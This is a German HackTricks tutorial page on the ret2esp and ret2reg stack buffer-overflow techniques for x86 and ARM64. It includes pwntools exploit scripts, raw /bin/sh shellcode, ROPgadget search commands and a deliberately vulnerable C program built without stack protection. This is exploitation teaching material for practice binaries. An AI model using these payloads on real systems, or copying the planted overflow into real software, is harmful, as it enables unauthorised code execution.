Ret2esp / Ret2reg

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Ret2esp

Da der ESP (Stack-Zeiger) immer auf den obersten Teil des Stacks zeigt, beinhaltet diese Technik das Ersetzen des EIP (Instruktionszeigers) durch die Adresse einer jmp esp oder call esp Anweisung. Dadurch wird der Shellcode direkt nach dem überschriebenen EIP platziert. Wenn die ret-Anweisung ausgeführt wird, zeigt ESP auf die nächste Adresse, genau dort, wo der Shellcode gespeichert ist.

Wenn Address Space Layout Randomization (ASLR) in Windows oder Linux nicht aktiviert ist, ist es möglich, jmp esp oder call esp Anweisungen in gemeinsam genutzten Bibliotheken zu verwenden. Mit aktivem ASLR könnte es jedoch erforderlich sein, innerhalb des anfälligen Programms selbst nach diesen Anweisungen zu suchen (und Sie müssen möglicherweise PIE umgehen).

Darüber hinaus ermöglicht es, den Shellcode nach der EIP-Korruption zu platzieren, anstatt in der Mitte des Stacks, sicherzustellen, dass keine push oder pop Anweisungen, die während des Betriebs der Funktion ausgeführt werden, den Shellcode beeinträchtigen. Diese Beeinträchtigung könnte auftreten, wenn der Shellcode in der Mitte des Stacks der Funktion platziert wäre.

Platzmangel

Wenn Ihnen der Platz zum Schreiben nach dem Überschreiben von RIP fehlt (vielleicht nur wenige Bytes), schreiben Sie einen anfänglichen jmp Shellcode wie:

sub rsp, 0x30
jmp rsp

Und schreiben Sie den Shellcode früh im Stapel.

Beispiel

Sie können ein Beispiel für diese Technik unter https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp finden mit einem endgültigen Exploit wie:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Sie können ein weiteres Beispiel für diese Technik unter https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html sehen. Es handelt sich um einen Buffer Overflow ohne NX-Unterstützung, bei dem ein Gadget verwendet wird, um die Adresse von $esp zu verringern, gefolgt von einem jmp esp; um zum Shellcode zu springen:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Ebenso können wir, wenn wir wissen, dass eine Funktion die Adresse zurückgibt, an der der Shellcode gespeichert ist, die call eax- oder jmp eax-Anweisungen nutzen (bekannt als ret2eax-Technik), um eine weitere Methode zum Ausführen unseres Shellcodes zu bieten. Genau wie eax könnte jeder andere Registerwert mit einer interessanten Adresse verwendet werden (ret2reg).

Beispiel

Einige Beispiele findest du hier:

ARM64

Ret2sp

In ARM64 gibt es keine Anweisungen, die es ermöglichen, zum SP-Register zu springen. Es könnte möglich sein, ein Gadget zu finden, das sp in ein Register verschiebt und dann zu diesem Register springt, aber in der libc meines Kali konnte ich kein solches Gadget finden:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Die einzigen, die ich entdeckt habe, würden den Wert des Registers ändern, in dem sp kopiert wurde, bevor darauf gesprungen wurde (so würde es nutzlos werden):

Ret2reg

Wenn ein Register eine interessante Adresse hat, ist es möglich, einfach zu dieser zu springen, indem man die geeignete Anweisung findet. Man könnte etwas Ähnliches verwenden:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

In ARM64 speichert x0 den Rückgabewert einer Funktion, daher könnte es sein, dass x0 die Adresse eines vom Benutzer kontrollierten Puffers speichert, der einen Shellcode zum Ausführen enthält.

Beispielcode:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Beim Überprüfen der Disassembly der Funktion ist es möglich zu sehen, dass die Adresse des Buffers (anfällig für Buffer Overflow und vom Benutzer kontrolliert) in x0 gespeichert ist, bevor aus dem Buffer Overflow zurückgekehrt wird:

Es ist auch möglich, das Gadget br x0 in der Funktion do_stuff zu finden:

Wir werden dieses Gadget verwenden, um dorthin zu springen, da das Binär ohne PIE kompiliert ist. Durch Verwendung eines Musters ist es möglich zu sehen, dass der Offset des Buffer Overflows 80 beträgt, daher wäre der Exploit:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Wenn anstelle von fgets etwas wie read verwendet worden wäre, wäre es auch möglich gewesen, PIE zu umgehen, indem nur die letzten 2 Bytes der Rücksprungadresse überschrieben werden, um zur br x0; Anweisung zurückzukehren, ohne die vollständige Adresse zu kennen. Mit fgets funktioniert das nicht, weil es ein Nullbyte (0x00) am Ende hinzufügt.

Schutzmaßnahmen

  • NX: Wenn der Stack nicht ausführbar ist, hilft dies nicht, da wir den Shellcode auf dem Stack platzieren und zu seiner Ausführung springen müssen.

  • ASLR & PIE: Diese können es schwieriger machen, eine Anweisung zum Springen zu esp oder einem anderen Register zu finden.

Referenzen

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated